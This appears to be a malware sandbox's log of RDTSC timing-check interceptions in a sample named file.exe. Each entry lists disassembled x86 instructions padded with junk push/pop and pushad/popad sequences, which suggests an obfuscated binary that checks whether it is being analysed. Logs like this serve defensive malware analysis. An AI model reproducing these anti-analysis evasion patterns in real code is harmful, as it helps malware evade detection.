Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026699 second address: 10266B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D8h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10266B6 second address: 10266BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3E6C second address: FD3EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFB34E3B6C6h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007FFB34E3B6C6h 0x00000012 js 00007FFB34E3B6C6h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b jg 00007FFB34E3B6D4h 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007FFB34E3B6C8h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c add dl, FFFFFFC1h 0x0000003f push edi 0x00000040 xor cl, 00000032h 0x00000043 pop edx 0x00000044 mov ebx, dword ptr [ebp+12497ED7h] 0x0000004a mov ch, al 0x0000004c add eax, ebx 0x0000004e jne 00007FFB34E3B6CEh 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 jc 00007FFB34E3B6C8h 0x0000005d push esi 0x0000005e pop esi 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3EE4 second address: FD3EFD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB34C126BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3EFD second address: FD3F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FFB34E3B6C6h 0x0000000d jmp 00007FFB34E3B6CCh 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FFB34E3B6C8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f jns 00007FFB34E3B6CBh 0x00000035 call 00007FFB34E3B6CCh 0x0000003a mov dword ptr [ebp+122D2365h], edx 0x00000040 pop edx 0x00000041 push 00000004h 0x00000043 mov ecx, dword ptr [ebp+122D1E1Ah] 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FFB34E3B6D9h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F7B second address: FD3F89 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F89 second address: FD3F97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3F97 second address: FD3FA1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3FA1 second address: FD3FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026996 second address: 10269A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jnp 00007FFB34C126B6h 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269A9 second address: 10269AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10269AF second address: 10269B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026B04 second address: 1026B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026B0A second address: 1026B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C6h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FFB34C126BBh 0x00000017 jp 00007FFB34C126B6h 0x0000001d jmp 00007FFB34C126C6h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DAEF second address: F8DB06 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB34E3B6CEh 0x00000008 jp 00007FFB34E3B6C6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F1AA second address: 102F1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102FA08 second address: 102FA13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103005E second address: 103006A instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB34C126BEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10302E4 second address: 1030325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FFB34E3B6D6h 0x00000011 jmp 00007FFB34E3B6CBh 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030325 second address: 1030331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FFB34C126B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030331 second address: 1030335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030E5D second address: 1030E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030E6B second address: 1030E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034170 second address: 1034176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103430E second address: 1034319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034319 second address: 1034323 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFB34C126B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10345D8 second address: 10345DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10345DC second address: 10345E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10345E0 second address: 10345E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034885 second address: 103489E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FFB34C126BCh 0x0000000a jbe 00007FFB34C126BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10349F8 second address: 1034A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 js 00007FFB34E3B6C6h 0x0000000c jmp 00007FFB34E3B6CAh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1034A0F second address: 1034A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039A28 second address: 1039A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 jnp 00007FFB34E3B6C6h 0x0000000d jc 00007FFB34E3B6C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10419F8 second address: 10419FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10419FC second address: 1041A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041A02 second address: 1041A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FFB34C126BEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104026A second address: 104026F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104026F second address: 1040291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126C0h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jc 00007FFB34C126B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040420 second address: 1040436 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FFB34E3B6CCh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040436 second address: 1040440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040440 second address: 1040448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040AC7 second address: 1040AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFB34C126B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040AD1 second address: 1040AEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040AEE second address: 1040AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048CDD second address: 1048CE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FFB34E3B6C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048CE9 second address: 1048CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FFB34C126C2h 0x0000000c jl 00007FFB34C126B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048E52 second address: 1048E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048E67 second address: 1048E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048E6B second address: 1048E8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FFB34E3B6CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FFB34E3B6CEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1048FD1 second address: 1048FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FFB34C126B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10564E0 second address: 1056515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D2h 0x00000009 jmp 00007FFB34E3B6D4h 0x0000000e popad 0x0000000f jmp 00007FFB34E3B6CAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057ED6 second address: 1057EF9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 ja 00007FFB34C126C6h 0x0000000c jmp 00007FFB34C126C0h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105DA42 second address: 105DA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 jmp 00007FFB34E3B6D0h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop esi 0x0000000f jmp 00007FFB34E3B6D5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D640 second address: 105D64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D64B second address: 105D64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D64F second address: 105D65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FFB34C126B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B77A second address: 106B795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D1h 0x00000009 jns 00007FFB34E3B6C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10745F4 second address: 10745FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10745FD second address: 1074602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072D56 second address: 1072D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072EE7 second address: 1072EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072EEC second address: 1072EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FFB34C126B6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072EFD second address: 1072F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072F01 second address: 1072F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072F11 second address: 1072F3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D9h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007FFB34E3B6C6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072F3C second address: 1072F5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FFB34C126B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10730E2 second address: 10730E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10732EB second address: 1073300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FFB34C126BCh 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073300 second address: 1073323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D6h 0x00000007 jg 00007FFB34E3B6C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073323 second address: 1073345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126BCh 0x00000009 jmp 00007FFB34C126BBh 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073345 second address: 1073349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107432E second address: 107433C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107433C second address: 107434C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078BB3 second address: 1078BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007FFB34C126B6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078BC1 second address: 1078BDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078BDA second address: 1078BFD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFB34C126CEh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10788F6 second address: 10788FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10788FC second address: 1078900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108553E second address: 1085543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F822C1 second address: F822C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089B9D second address: 1089BAF instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB34E3B6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FFB34E3B6C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089BAF second address: 1089BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089BB3 second address: 1089BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB34E3B6D6h 0x0000000f jnl 00007FFB34E3B6C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089BD9 second address: 1089C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jno 00007FFB34C126BEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1089C00 second address: 1089C04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097D0D second address: 1097D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097D18 second address: 1097D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097D1C second address: 1097D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097D20 second address: 1097D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109783F second address: 109784B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFB34C126B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109784B second address: 109785D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFB34E3B6CBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109785D second address: 1097869 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFB34C126B6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097869 second address: 1097871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
